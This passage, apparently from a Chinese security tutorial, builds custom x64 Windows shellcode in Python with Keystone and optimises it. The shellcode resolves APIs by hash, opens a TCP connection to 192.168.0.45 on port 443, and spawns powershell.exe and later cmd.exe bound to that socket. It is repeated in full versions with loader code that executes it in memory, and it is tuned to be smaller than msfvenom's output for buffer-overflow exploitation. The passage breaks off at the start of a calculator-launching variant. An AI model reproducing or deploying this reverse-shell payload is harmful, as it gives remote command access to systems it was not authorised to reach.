from keystone import *



CODE = (

"find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx+0x60];"     # RAX为TEB中ProcessEnvironmentBlock成员的值，即PEB地址
"   mov rsi,[rax+0x18];"     # 在PEB中得到LDR成员的值，即_PEB_LDR_DATA结构体的地址
"   mov rsi,[rsi + 0x20];"     # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址

"next_module:"
"   mov r9, [rsi + 0x20];"      # R9 此时保存着当前模块的基址
"   mov rdi, [rsi + 0x50];"     # RDI 保存着DllBaseName中的Buffer地址，即模块名称字符串的地址
"   mov rsi, [rsi];"     # 获得下一个条目的地址
"   add rdi, 2;"     # 跳过K字符

"check_upper:"    # 如果"ERNEL32."是大写
"  mov r12, 0x1055105E10621055;"    # Unicode字符串 "ENRE"加上0x1010101010101010
"  mov rax, 0x1010101010101010;"    
"  sub r12, rax;" 
"  mov r13, 0x103e10421043105c;"    # Unicode字符串 ".23L"加上0x1010101010101010
"  mov rax, 0x1010101010101010;"    
"  sub r13, rax;" 
"  mov rdx, qword ptr [rdi];"    # 将字符串 "ERNEL32.DLL" 复制到RDX
"  cmp rdx, r12;"    # 将前4个字符与"ENRE"比较
"  jne check_lower;"    # 如果不相等，可能模块名为小写
"  mov rdx, qword ptr [rdi + 8];"    # 如果相等，继续比较，将".23L"复制到RDX
"  cmp rdx, r13;"    # 将后4个字符与".23L"比较
"  jne next_module;"    # 如果不相等，移动到下一个条目
"  jmp jump_proxy;"

"check_lower:"    # 如果"ernel32."是小写
"  mov r12, 0x1075107E10821075;"    # Unicode字符串 "enre"加上0x10101010
"  mov rax, 0x1010101010101010;"   
"  sub r12, rax;" 
"  mov r13, 0x103e10421043107c;"    # Unicode字符串 ".23l"加上0x10101010
"  mov rax, 0x1010101010101010;"    
"  sub r13, rax;" 
"  mov rdx, qword ptr [rdi];"  
"  cmp rdx, r12;"   
"  jne next_module;"    # 如果不相等，不会是大小写原因，直接进入下个条目
"  mov rdx, qword ptr [rdi + 8];"  
"  cmp rdx, r13;"
"  jne next_module;"


"jump_proxy:"
"   jmp jump_section;"

"parse_module:"    # 解析内存中的DLL文件
"   mov ecx, dword ptr [r9 + 0x3c];"     # R9保存着模块的基址，获取NT头偏移
"   xor r15, r15;"  
"   mov r15b, 0x88;"
"   add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"      # 获取导出目录的RVA
"   add r15, r9;"     # R14保存着导出目录的VMA
"   mov ecx, dword ptr [r15 + 0x18];"     # ecx保存着函数名称的数量，作为索引值
"   mov r14d, dword ptr [r15 + 0x20];"     # 获得ENPT的RVA
"   add r14, r9;"     # R14 保存着ENPT的VMA

"search_function:"    # 搜索给定函数
"   jrcxz not_found;"     # 如果RCX为0，那么没找到给定函数
"   dec ecx;"     # 索引减少1
"   xor rsi, rsi;" 
"   mov esi, [r14 + rcx*4];"     # 函数名称字符串的RVA
"   add rsi, r9;"     # RSI 指向函数名称字符串

"function_hashing:"    # 哈希函数名函数
"   xor rax, rax;"  
"   xor rdx, rdx;" 
"   cld;"     # 清除DF标志位

"iteration:"    # 迭代每个字节
"   lodsb;"     # RSI的下一个字节拷贝给Al
"   test al, al;"     # 如果到达字符串末尾
"   jz compare_hash;"     # 比较哈希
"   ror edx, 0x0d;"     # 哈希算法部分
"   add edx, eax;"     # 哈希算法部分
"   jmp iteration;"     # 下一个字节

"compare_hash:"    # 比较哈希
"   cmp edx, r8d;" 
"   jnz search_function;"     # 如果不等，搜索前一个函数 (索引由大变小)
"   mov r10d, [r15 + 0x24];"     # 序数表RVA
"   add r10, r9;"     # 序数表VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"     # 函数序数值 -1
"   mov r11d, [r15 + 0x1c];"     # EAT的RVA
"   add r11, r9;"     # EAT的VNA
"   mov eax, [r11 + 4*rcx];"     # RAX保存函数RVA
"   add rax, r9;"     # RAX保存着函数VMA
"   ret;" 
"not_found:"
"   ret;" 


" jump_section:"
"   mov rbp, r9;"    # RBP为Kernel32.dll基址
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA哈希
"   sub rsp, 0x20;"
"   call parse_module;"    # 获得LoadLibraryA地址  
"   add rsp, 0x20;"
"   mov r12, rax;"    # R12为LoadLibraryA地址
"   mov r8d, 0x7c0dfcaa;"    # GetProcAddress哈希
"   sub rsp, 0x20;"
"   call parse_module;"    # 获得GetProcAddress地址address
"   add rsp, 0x20;"
"   mov r13, rax;"    # R13为GetProcAddress地址


"load_module:"
"    xor rax, rax;"
"    mov ax, 0x6c6c;"       # 将字符串 "ll" 保存至RAX
"    push rax;"       # 字符串入栈
"    mov rax, 0x642E32335F325357;"       # 将字符串"WS2_32.D"保存至RAX
"    push rax;"      # 字符串入栈
"    mov rcx, rsp;"    # RCX指向"ws2_32.dll\0"字符串
"    sub rsp, 0x20;"      # 函数序言
"    mov rax, r12;"     # RAX为LoadLibraryA地址
"    call rax;"      # LoadLibraryA("ws2_32.dll")
"    add rsp, 0x20;"        # 函数尾声
"    add rsp, 0x10;"        # 清理 "ws2_32.dll"字符串所占用的栈空间
"    mov r14, rax;"      # R14保存了ws2_32.dll的基址

"call_wsastartup:"
"    mov r9, rax;"     # R9保存了ws2_32.dll的基址
"    mov r8d, 0x3bfcedcb;"     # WSAStartup的哈希
"    mov rbx, r9;"     # 将ws2_32.dll的基址保存至RBX以备用
"    call parse_module;"     # 搜索并获得WSAStartup的函数地址
"    xor rcx, rcx;" 
"    mov cx, 0x198;"   
"    sub rsp, rcx;"     # 预留足够空间给lpWSDATA结构体"    
"    lea rdx, [rsp];"     # 将lpWSAData地址赋予RDX寄存器作为第2个参数
"    xor rcx, rcx;"
"    xor r13, r13;"
"    mov cx, 0x1313;"
"    mov r13w, 0x1111;"
"    sub rcx, r13;"     # 将0x202赋予wVersionRequired并存入RCX寄存器作为第1个参数 
"    sub rsp, 0x30;"     # 函数序言
"    call rax;"     # 调用WSAStartup
"    add rsp, 0x30;"     # 函数尾声

"call_wsasocket:"
"    mov r9, rbx;"  
"    mov r8d, 0xadf509d9;"     # WSASocketA函数哈希
"    call parse_module;"     # 获得WSASocketA函数地址
"    sub rsp, 0x30;"     # 函数序言
"    xor rcx, rcx;"
"    mov cl, 2;"    # 最终等效于 mov rcx,2;    # af为2作为第1个参数
"    xor rdx, rdx;"
"    mov dl, 1;"    # type为1作为第2个参数
"    xor r8, r8;"
"    mov r8b, 6;"    # protocol为6作为第3个参数
"    xor r9, r9;"     # lpProtocolInfo为0作为第4个参数
"    mov [rsp+0x20], r9;"     # g为0作为第5个参数，保存在栈上
"    mov [rsp+0x28], r9;"     # dwFlags为0作为第6个参数，保存在栈上
"    call rax;"     # 调用 WSASocketA函数
"    mov r12, rax;"     # 将返回的socket类型返回值保存在R12以防止RAX中的数据丢失
"    add rsp, 0x30;"     # 函数尾声

"call_wsaconnect:"
"    mov r9, rbx;" 
"    mov r8d, 0xb32dba0c;"     # WSAConnect哈希
"    call parse_module;"     # 获得WSAConnect地址
"    sub rsp, 0x20;"     # 为socketaddr结构体分配足够空间 (>=0x18字节)
"    mov rcx, r12;"     # 将WSASocketA返回的描述符传递给RCX作为第1个参数
"    xor rdx, rdx;"
"    mov dl, 2;"     # sin_family成员设置为AF_INET，即2
"    mov [rsp], rdx;"     # 存储socketaddr结构体
"    xor rdx, rdx;"
"    mov dx, 0xbb01;"      # 端口设置为443
"    mov [rsp+2], rdx;"     # 将端口值传递给socketaddr结构体中的对应位置
"    mov edx, 0x3d10b8d0;"
"    sub edx, 0x10101010;"     # 设置IP为192.168.0.45
"    mov [rsp+4], rdx;"     # 将IP传递给sockaddr结构体中的对应位置
"    lea rdx, [rsp];"     # 指向socketaddr结构体的指针作为第2个参数
"    xor r8, r8;"
"    mov r8b, 0x16;"     # 设置namelen成员为0x16
"    xor r9, r9;"     # lpCallerData为0作为第4个参数
"    sub rsp, 0x38;"     # 函数序言
"    mov [rsp+0x20], r9;"     # lpCalleeData为0作为第5个参数
"    mov [rsp+0x28], r9;"     # lpSQOS为0作为第6个参数
"    mov [rsp+0x30], r9;"     # lpGQOS为0作为第7个参数
"    call rax;"     # 调用WSAConnect
"    add rsp, 0x38;"     # 函数尾声

"call_createprocess:"
"    mov r9, rbp;"     # R9为Kernel32.dll基址
"    mov r8d, 0x16b3fe72;"     # CreateProcessA哈希
"    call parse_module;"     # 获取CreateProcessA地址
"    sub rsp, 8;"    # 栈对齐
"    mov rdx, 0x10107588753e7c7c;"
"    mov r13, 0x1010101010101010;"
"    sub rdx, r13;"     # 字符串"exe.ll"
"    push rdx;" 
"    mov rdx, 0x6568737265776f70;"     # 字符串"ehsrewop"
"    push rdx;"     # "powershell.exe"字符串入栈
"    mov rcx, rsp;"     # 指向"powershell.exe"的指针保存在RCX寄存器中
"    push r12;"     # 成员STDERROR值为WSASocketA返回值
"    push r12;"     # 成员STDOUTPUT值为WSASocketA返回值
"    push r12;"     # 成员STDINPUT值为WSASocketA返回值
"    xor rdx, rdx;" 
"    push dx;"     # 在入栈dwFlags成员之前填充0，不必在乎成员具体数据尺寸，总尺寸准确即可
"    push rdx;" 
"    push rdx;" 
"    mov dl, 0xff;"
"    inc dx;" 
"    push dx;"      # 成员dwFlags值为0x100   
"    xor rdx, rdx;" 
"    push dx;"     # 在入栈cb成员之前填充0，不必在乎成员具体数据尺寸，总尺寸准确即可  
"    push dx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    mov dl, 0x68;" 
"    push rdx;"     # 成员cb值为0x68
"    mov rdi, rsp;"     # 获得STARTINFOA结构体的指针
"    mov rdx, rsp;" 
"    sub rdx, 0x20;"     # 为ProcessInformation结构体预留足够空间
"    push rdx;"     # ProcessInformation结构体的地址作为第10个参数
"    push rdi;"     # STARTINFOA结构体的地址作为第9个参数
"    xor rdx, rdx;" 
"    push rdx;"     # lpCurrentDirectory值为0作为第8个参数
"    push rdx;"     # lpEnvironment值为0作为第7个参数
"    push rdx;"     # dwCreationFlags值为0作为第6个参数
"    inc rdx;" 
"    push rdx;"     # bInheritHandles值为1作为第5个参数
"    xor rdx, rdx;" 
"    push rdx;"     # 为函数归位区域(第4个参数)预留空间
"    push rdx;"     # 为函数归位区域(第3个参数)预留空间
"    push rdx;"     # 为函数归位区域(第2个参数)预留空间
"    push rdx;"     # 为函数归位区域(第1个参数)预留空间
"    mov rdx, rcx;"     # lpCommandLine值为"powershell.exe"字符串指针作为第2个参数
"    xor rcx, rcx;"     # 因为lpCommandLine已经赋值，lpApplicationName可为空
"    mov r8, rcx;"     # lpProcessAttributes值为0作为第3个参数
"    mov r9, rcx;"     # lpThreatAttributes值为0作为第4个参数
"    call rax;"  
)



ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

```

这样，Shellcode 就完全不包含 0x00 字节了，而且 Shellcode 是位置独立的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/ZfnAr7qboQ2O2B36-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/ZfnAr7qboQ2O2B36-image.png)

但是目前的话，字节数稍微有些多，在特定的利用场合，尤其是缓冲区溢出的漏洞利用，容纳 Shellcode 的空间可能是有限的，因此我们接下来尽可能对字节数进行优化。

### **减少字节数**

优化字节数可以从多方面做起，例如有的单条汇编指令可以完成多条指令的工作，善用寄存器的低位操作。但在我们先前的代码中，寻找 Kernel32.dll 的部分占用了很多的代码，而这里就有一个很大的优化空间。

##### **改善寻找 Kernel32.dll 的方法**

Msfvenom 生成的去除了 0x00 字节的 TCP 逆向 Shell为 **503** 字节，目前我们与之差距 200 字节。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/OMByG0PER1Hq1bEy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/OMByG0PER1Hq1bEy-image.png)

其实一般来说，InMemoryOrderLoadList 中模块的顺序为**程序自身 -&gt; ntdll.dll -&gt; kernel32.dll**。如果使用 WinDBG 调试先前的 Shellcode，我们会发现该规律是适用的：**python.exe -&gt; ntdll.dll -&gt; kernel32.dll**，请自己验证试试。

那么，我们原本冗长的寻找 Kernel32.dll 的代码可以优化为以下几行：

```
" locate_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx + 0x60];"  
"   mov rsi, [rax + 0x18];"    
"   mov rsi, [rsi + 0x20];"   
"   mov r9, [rsi];"    # 当前为python.exe
"   mov r9, [r9];"    # 当前为ntdll.dll
"   mov r9, [r9+0x20];"    # 当前为kernel32.dll
"   jmp jump_section;"    
```

这样修改后，最终优化后的代码如下：

现在不仅没有 0x00 字符，而且仅有 **562** 字节，十分接近 Msfvenom 生成的了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/MVuY9aaJa7kHcpx2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/MVuY9aaJa7kHcpx2-image.png)

##### **移除不影响运行的函数序言与尾声**

在 **jump\_section** 区域，出于规范，我们在每次函数调用前后都设置了**函数序言**和**函数尾声**。在我们这个特定上下文中，并不是必须的，至少不会影响到 Shellcode 的正常执行，尽管这是一个良好规范。此外，尽管我们获得了 GetProcAddress 的地址，但因为我们是通过**函数哈希**获得函数地址的，因此并没有派上用场。所以，精简后的 jump\_section 区域如下：

```
" jump_section:"
"   mov rbp, r9;"    # RBP为Kernel32.dll基址
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA哈希
"   call parse_module;"    # 获得LoadLibraryA地址  
"   mov r12, rax;"    # R12为LoadLibraryA地址

```

最终，我们将 Shellcode 尺寸压缩到了 532 字节，并且依旧正常运行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/FAbVaij3pfMuYhZU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/FAbVaij3pfMuYhZU-image.png)

##### **去除冗余指令**

在完成初始完整 Shellcode 的过程中，因为我们首要目标是实现功能，因此代码可能包含**冗余**的。例如在调用 CreateProcessA 函数部分，我们让 RDX 一开始就指向 "powershell.exe" 字符串，后面则用 RCX 作为多次入栈的寄存器。此外，相比让 "exe.dll" 字符串加上 **0x1010101010101010** 避免 0x00 字节，我们可以善用 **NOT** 指令：

```
" mov rdx, 0xffff9a879ad19393;"  # NOT "exe.ll"
" not rdx;"
```

优化后的如下：

```python
"call_createprocess:"
"    mov r9, rbp;"     # R9为Kernel32.dll基址
"    mov r8d, 0x16b3fe72;"     # CreateProcessA哈希
"    call parse_module;"     # 获取CreateProcessA地址
"    sub rsp, 8;"
"    mov rdx, 0xffff9a879ad19393;"  # NOT "exe.ll"
"    not rdx;"
"    push rdx;" 
"    mov rdx, 0x6568737265776f70;"     # 字符串"ehsrewop"
"    push rdx;"     # "powershell.exe"字符串入栈
"    mov rdx, rsp;"     # 指向"powershell.exe"的指针保存在RCX寄存器中
"    push r12;"     # 成员STDERROR值为WSASocketA返回值
"    push r12;"     # 成员STDOUTPUT值为WSASocketA返回值
"    push r12;"     # 成员STDINPUT值为WSASocketA返回值
"    xor rcx, rcx;" 
"    push cx;"     # 在入栈dwFlags成员之前填充0，不必在乎成员具体数据尺寸，总尺寸准确即可
"    push rcx;" 
"    push rcx;" 
"    mov cl, 0xff;"
"    inc cx;" 
"    push cx;"      # 成员dwFlags值为0x100   
"    xor rcx, rcx;" 
"    push cx;"     # 在入栈cb成员之前填充0，不必在乎成员具体数据尺寸，总尺寸准确即可  
"    push cx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    mov cl, 0x68;" 
"    push rcx;"     # 成员cb值为0x68
"    mov rdi, rsp;"     # 获得STARTINFOA结构体的指针
"    mov rcx, rsp;" 
"    sub rcx, 0x20;"     # 为ProcessInformation结构体预留足够空间
"    push rcx;"     # ProcessInformation结构体的地址作为第10个参数
"    push rdi;"     # STARTINFOA结构体的地址作为第9个参数
"    xor rcx, rcx;" 
"    push rcx;"     # lpCurrentDirectory值为0作为第8个参数
"    push rcx;"     # lpEnvironment值为0作为第7个参数
"    push rcx;"     # dwCreationFlags值为0作为第6个参数
"    inc rcx;" 
"    push rcx;"     # bInheritHandles值为1作为第5个参数
"    dec cl;" 
"    push rcx;"     # 为函数归位区域(第4个参数)预留空间
"    push rcx;"     # 为函数归位区域(第3个参数)预留空间
"    push rcx;"     # 为函数归位区域(第2个参数)预留空间
"    push rcx;"     # 为函数归位区域(第1个参数)预留空间
"    mov r8, rcx;"     # lpProcessAttributes值为0作为第3个参数
"    mov r9, rcx;"     # lpThreatAttributes值为0作为第4个参数
"    call rax;" 
```

现在只有 **507** 字节了，已经不错了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/MqoFhgzygv7kbLMK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/MqoFhgzygv7kbLMK-image.png)

如果偏执地追求更短的 Shellcode，我们发现 Msfvenom 生成的 Shellcode 是 cmd 会话的，而字符串 **"cmd.exe"** 比 **"powershell.exe"** 更短。而且在 cmd.exe 会话中，我们其实可以切换到 PowerShell 的。因此，我们可以将 "powershell.exe" 替换为 "cmd.exe"：

```
"    mov rdx, 0xff9a879ad19b929c;"
"    not rdx;"
"    push rdx;"   
```

最终代码如下：

```
import ctypes, struct
from keystone import *



CODE = (

"find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx+0x60];"     # RAX为TEB中ProcessEnvironmentBlock成员的值，即PEB地址
"   mov rsi,[rax+0x18];"     # 在PEB中得到LDR成员的值，即_PEB_LDR_DATA结构体的地址
"   mov rsi,[rsi + 0x20];"     # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址
"   mov r9, [rsi];"    # 当前为python.exe
"   mov r9, [r9];"    # 当前为ntdll.dll
"   mov r9, [r9+0x20];"    # 当前为kernel32.dll
"   jmp jump_section;"   

"parse_module:"    # 解析内存中的DLL文件
"   mov ecx, dword ptr [r9 + 0x3c];"     # R9保存着模块的基址，获取NT头偏移
"   xor r15, r15;"  
"   mov r15b, 0x88;"
"   add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"      # 获取导出目录的RVA
"   add r15, r9;"     # R14保存着导出目录的VMA
"   mov ecx, dword ptr [r15 + 0x18];"     # ecx保存着函数名称的数量，作为索引值
"   mov r14d, dword ptr [r15 + 0x20];"     # 获得ENPT的RVA
"   add r14, r9;"     # R14 保存着ENPT的VMA

"search_function:"    # 搜索给定函数
"   jrcxz not_found;"     # 如果RCX为0，那么没找到给定函数
"   dec ecx;"     # 索引减少1
"   xor rsi, rsi;" 
"   mov esi, [r14 + rcx*4];"     # 函数名称字符串的RVA
"   add rsi, r9;"     # RSI 指向函数名称字符串

"function_hashing:"    # 哈希函数名函数
"   xor rax, rax;"  
"   xor rdx, rdx;" 
"   cld;"     # 清除DF标志位

"iteration:"    # 迭代每个字节
"   lodsb;"     # RSI的下一个字节拷贝给Al
"   test al, al;"     # 如果到达字符串末尾
"   jz compare_hash;"     # 比较哈希
"   ror edx, 0x0d;"     # 哈希算法部分
"   add edx, eax;"     # 哈希算法部分
"   jmp iteration;"     # 下一个字节

"compare_hash:"    # 比较哈希
"   cmp edx, r8d;" 
"   jnz search_function;"     # 如果不等，搜索前一个函数 (索引由大变小)
"   mov r10d, [r15 + 0x24];"     # 序数表RVA
"   add r10, r9;"     # 序数表VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"     # 函数序数值 -1
"   mov r11d, [r15 + 0x1c];"     # EAT的RVA
"   add r11, r9;"     # EAT的VNA
"   mov eax, [r11 + 4*rcx];"     # RAX保存函数RVA
"   add rax, r9;"     # RAX保存着函数VMA
"   ret;" 
"not_found:"
"   ret;" 


" jump_section:"
"   mov rbp, r9;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"   call parse_module;"    # Search LoadLibraryA's address   
"   mov r12, rax;"    # R12 = LoadLibraryA Address

"load_module:"
"    xor rax, rax;"
"    mov ax, 0x6c6c;"       # 将字符串 "ll" 保存至RAX
"    push rax;"       # 字符串入栈
"    mov rax, 0x642E32335F325357;"       # 将字符串"WS2_32.D"保存至RAX
"    push rax;"      # 字符串入栈
"    mov rcx, rsp;"    # RCX指向"ws2_32.dll\0"字符串
"    sub rsp, 0x20;"      # 函数序言
"    mov rax, r12;"     # RAX为LoadLibraryA地址
"    call rax;"      # LoadLibraryA("ws2_32.dll")
"    add rsp, 0x20;"        # 函数尾声
"    mov r14, rax;"      # R14保存了ws2_32.dll的基址

"call_wsastartup:"
"    mov r9, rax;"     # R9保存了ws2_32.dll的基址
"    mov r8d, 0x3bfcedcb;"     # WSAStartup的哈希
"    mov rbx, r9;"     # 将ws2_32.dll的基址保存至RBX以备用
"    call parse_module;"     # 搜索并获得WSAStartup的函数地址
"    xor rcx, rcx;" 
"    mov cx, 0x198;"   
"    sub rsp, rcx;"     # 预留足够空间给lpWSDATA结构体"    
"    lea rdx, [rsp];"     # 将lpWSAData地址赋予RDX寄存器作为第2个参数
"    mov cx, 0x202;"
"    sub rsp, 0x30;"     # 函数序言
"    call rax;"     # 调用WSAStartup
"    add rsp, 0x30;"     # 函数尾声

"call_wsasocket:"
"    mov r9, rbx;"  
"    mov r8d, 0xadf509d9;"     # WSASocketA函数哈希
"    call parse_module;"     # 获得WSASocketA函数地址
"    sub rsp, 0x30;"     # 函数序言
"    xor rcx, rcx;"
"    mov cl, 2;"    # 最终等效于 mov rcx,2;    # af为2作为第1个参数
"    xor rdx, rdx;"
"    mov dl, 1;"    # type为1作为第2个参数
"    xor r8, r8;"
"    mov r8b, 6;"    # protocol为6作为第3个参数
"    xor r9, r9;"     # lpProtocolInfo为0作为第4个参数
"    mov [rsp+0x20], r9;"     # g为0作为第5个参数，保存在栈上
"    mov [rsp+0x28], r9;"     # dwFlags为0作为第6个参数，保存在栈上
"    call rax;"     # 调用 WSASocketA函数
"    mov r12, rax;"     # 将返回的socket类型返回值保存在R12以防止RAX中的数据丢失
"    add rsp, 0x30;"     # 函数尾声

"call_wsaconnect:"
"    mov r9, rbx;" 
"    mov r8d, 0xb32dba0c;"     # WSAConnect哈希
"    call parse_module;"     # 获得WSAConnect地址
"    sub rsp, 0x20;"     # 为socketaddr结构体分配足够空间 (>=0x18字节)
"    mov rcx, r12;"     # 将WSASocketA返回的描述符传递给RCX作为第1个参数
"    xor rdx, rdx;"
"    mov dl, 2;"     # sin_family成员设置为AF_INET，即2
"    mov [rsp], rdx;"     # 存储socketaddr结构体
"    xor rdx, rdx;"
"    mov dx, 0xbb01;"      # 端口设置为443
"    mov [rsp+2], rdx;"     # 将端口值传递给socketaddr结构体中的对应位置
"    mov edx, 0xd2ff5740;"
"    neg edx;"
"    mov [rsp+4], rdx;"     # 将IP传递给sockaddr结构体中的对应位置\
# " xor r8, r8;"    			
# " mov [rsp+8], r8;"    # 为 sin_zero赋值0，注释这2行可以节省更多字节数，不影响shellcode运行  
"    lea rdx, [rsp];"     # 指向socketaddr结构体的指针作为第2个参数
"    xor r8, r8;"
"    mov r8b, 0x16;"     # 设置namelen成员为0x16
"    xor r9, r9;"     # lpCallerData为0作为第4个参数
"    sub rsp, 0x38;"     # 函数序言
"    mov [rsp+0x20], r9;"     # lpCalleeData为0作为第5个参数
"    mov [rsp+0x28], r9;"     # lpSQOS为0作为第6个参数
"    mov [rsp+0x30], r9;"     # lpGQOS为0作为第7个参数
"    call rax;"     # 调用WSAConnect
"    add rsp, 0x38;"     # 函数尾声

"call_createprocess:"
"    mov r9, rbp;"     # R9为Kernel32.dll基址
"    mov r8d, 0x16b3fe72;"     # CreateProcessA哈希
"    call parse_module;"     # 获取CreateProcessA地址
"    mov rdx, 0xff9a879ad19b929c;"    # NOT "exe.dmc"
"    not rdx;"
"    push rdx;"   
"    mov rdx, rsp;"     # 指向"powershell.exe"的指针保存在RCX寄存器中
"    push r12;"     # 成员STDERROR值为WSASocketA返回值
"    push r12;"     # 成员STDOUTPUT值为WSASocketA返回值
"    push r12;"     # 成员STDINPUT值为WSASocketA返回值
"    xor rcx, rcx;" 
"    push cx;"     # 在入栈dwFlags成员之前填充0，不必在乎成员具体数据尺寸，总尺寸准确即可
"    push rcx;" 
"    push rcx;" 
"    mov cl, 0xff;"
"    inc cx;" 
"    push cx;"      # 成员dwFlags值为0x100   
"    xor rcx, rcx;" 
"    push cx;"     # 在入栈cb成员之前填充0，不必在乎成员具体数据尺寸，总尺寸准确即可  
"    push cx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    mov cl, 0x68;" 
"    push rcx;"     # 成员cb值为0x68
"    mov rdi, rsp;"     # 获得STARTINFOA结构体的指针
"    mov rcx, rsp;" 
"    sub rcx, 0x20;"     # 为ProcessInformation结构体预留足够空间
"    push rcx;"     # ProcessInformation结构体的地址作为第10个参数
"    push rdi;"     # STARTINFOA结构体的地址作为第9个参数
"    xor rcx, rcx;" 
"    push rcx;"     # lpCurrentDirectory值为0作为第8个参数
"    push rcx;"     # lpEnvironment值为0作为第7个参数
"    push rcx;"     # dwCreationFlags值为0作为第6个参数
"    inc rcx;" 
"    push rcx;"     # bInheritHandles值为1作为第5个参数
"    dec cl;" 
"    push rcx;"     # 为函数归位区域(第4个参数)预留空间
"    push rcx;"     # 为函数归位区域(第3个参数)预留空间
"    push rcx;"     # 为函数归位区域(第2个参数)预留空间
"    push rcx;"     # 为函数归位区域(第1个参数)预留空间
"    mov r8, rcx;"     # lpProcessAttributes值为0作为第3个参数
"    mov r9, rcx;"     # lpThreatAttributes值为0作为第4个参数
"    call rax;" 
)



ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

```

最终优化后的 Shellcode 不仅不包含 0x00 字节，而且尺寸比 Msfvenom 生成的还短 **25** 字节！这个结果可以说是很理想了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/5Z8SS6V2Ja6x2Arq-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/5Z8SS6V2Ja6x2Arq-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/qb7P3UiFyjcnZSVS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/qb7P3UiFyjcnZSVS-image.png)

### **拓展**

##### **弹出计算器**

要实现弹出计算器程序的 Shellcode，我们可以使用 **WinExec** 函数或者 **CreateProcessA** 函数。CreateProcessA 函数更加先进，但会让我们的 Shellcode 尺寸更大。WinExec 的函数原型较为简单，只有 2 个参数需要提供。

```c++
UINT WinExec(
  [in] LPCSTR lpCmdLine,
  [in] UINT   uCmdShow
);
```

我们设置 **lpCmdLine** 为 **"calc.exe\\0"**，**uCmdShow** 为 1。因为该 Shellcode 不需要 ws2\_32.dll 中的函数，因此我们可以删除现有代码中的部分内容。调用 WinExec 函数部分如下所示：

```
"call_winexec:"
"    mov r8d, 0xe8afe98;"     # WinExec的哈希
"    call parse_module;"     # 搜索并获得WinExec的函数地址
"    xor rcx, rcx;"
"    push rcx;"
"    mov rcx, 0x6578652e636c6163;"	# exe.clac
"    push rcx;"
"    lea rcx, [rsp];"
"    xor rdx,rdx;"
"    inc rdx;"
"    sub rsp, 0x28;"
"    call rax;"     # 调用WSAStartup

```

最终代码为：

```python
import ctypes, struct
from keystone import *



CODE = (

"find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx+0x60];"     # RAX为TEB中ProcessEnvironmentBlock成员的值，即PEB地址
